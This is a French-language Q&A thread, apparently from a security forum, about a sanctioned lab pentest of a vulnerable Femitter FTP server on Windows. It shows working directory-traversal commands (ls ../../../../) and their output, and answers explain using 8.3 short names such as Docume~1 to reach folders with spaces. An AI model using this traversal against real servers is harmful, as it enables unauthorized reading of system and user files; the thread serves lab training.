Attaque de traversée de répertoire FTP sur les répertoires contenant des espaces blancs


15

Je mène un pentest sanctionné dans un environnement de référence fermé et je me suis débattu sur un problème apparemment simple que je ne peux pas résoudre actuellement.

Lorsque vous tentez d'exécuter une attaque de traversée de répertoire contre un serveur FTP Fermitter vulnérable fonctionnant sous MS Windows OS, il est possible de faire une LISTE à la racine du système (les adresses et les listes de contenu changées ici pour référence uniquement):

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

Toutefois, si je souhaite répertorier le contenu d'un dossier contenant des espaces blancs, par exemple Documents and settings, je ne suis pas en mesure de répertorier le contenu du répertoire car les espaces blancs sont ignorés.

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

J'ai déjà essayé d'utiliser différents clients FTP (CLI et GUI, sous Linux et Windows) et ils ignorent les espaces blancs ou interdisent la traversée de répertoire.

A également essayé de scénariser l'attaque sur Python en utilisant d'abord des sockets bruts puis ftplib pour envoyer les commandes au format HEX directement au serveur FTP, mais sans succès.

Googler pendant quelques heures n'a pas donné de solution de travail (oui, il y avait beaucoup d'options, qui n'ont pas fonctionné), c'est pourquoi il y a quelqu'un ici, qui a eu le même problème. Je suis sûr que ce n'est pas la première fois qu'une telle traversée de répertoire avec des espaces blancs est nécessaire.


La sensibilité à la casse ne semble pas pertinente pour les clients FTP. Au moins, le client FTP GNU / Linux répertorie les répertoires en ignorant la casse des lettres.

@lockout: la sensibilité à la casse est une chose côté serveur et non une chose client. Le client répertorie les données de la même manière que le serveur les envoie et ne modifie pas la casse.
Steffen Ullrich

1
Essayez également C: \ Docume ~ 1 \.
Dog eat cat world

1
Essayez d'échapper les espaces avec \ou en citant la chaîne de répertoire
DavidPostill

1
Je suis heureux que cela ait fonctionné pour vous @lockout. Puisque vous avez eu du mal à répondre à votre question, je suis d'accord pour que vous l'acceptiez comme réponse. Merci de m'avoir crédité.
Dog eat cat world

Réponses:


16

Solution suggérée par @Dogeatcatworld pour utiliser la notation courte du répertoire MS Windows telle que C:\Docume~1\.

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

Un très bon article de la base de connaissances MS explique la notation du répertoire 8.3: Comment Windows génère des noms de fichiers 8.3 à partir de noms de fichiers longs


2
OSCP je vois. Pour ajouter à votre conseil, pour les répertoires courts, tels que "Tous les utilisateurs", supprimez l'espace et utilisez "AllUse ~ 1". Avez-vous trouvé un moyen de monter le FTP pour naviguer de manière interactive, ou avez-vous simplement fini par télécharger des fichiers un par un.
n00b

1

Le "nom court" est vraiment l'ancienne convention de dénomination DOS 8.3, donc tous les répertoires seront les 6 premières lettres suivies de ~ 1 en supposant qu'il n'y a qu'un seul nom qui correspond, par exemple:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG JE SUIS RÉPERTOIRE
C: \ BCDEFG ~ 1 - C: \ BCDEFGHIJKL M Un autre répertoire

Voici la seule exception:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG I AM DIRECTORY
C: \ ABCDEF ~ 2 - C: \ ABCDEFGHI Directory aussi

Source: Comment trouver le chemin court d'un répertoire / fichier Windows?


0

Ftp n'utilise pas l'encodage url, donc% xx ne fonctionnera que si vous utilisez ftp dans un navigateur qui peut le traduire pour vous.

Essayez d'utiliser des guillemets à la place, c'est-à-dire: ls "../../some dir"


1
HI, si vous regardez les tentatives de traversée de répertoire, vous verrez que j'ai tenté plusieurs citations: guillemet simple, guillemet double et retour. Ils ne fonctionnaient pas, comme représenté dans la liste de sortie FTP. Utiliser% 20 était juste pour expérimenter si cela fonctionnerait, en raison de tentatives désespérées d'essayer toutes les options. Bien sûr,% encoding fonctionne sur les navigateurs et les clients FTP capables de les interpréter.
lock
En utilisant notre site, vous reconnaissez avoir lu et compris notre politique liée aux cookies et notre politique de confidentialité.
Licensed under cc by-sa 3.0 with attribution required.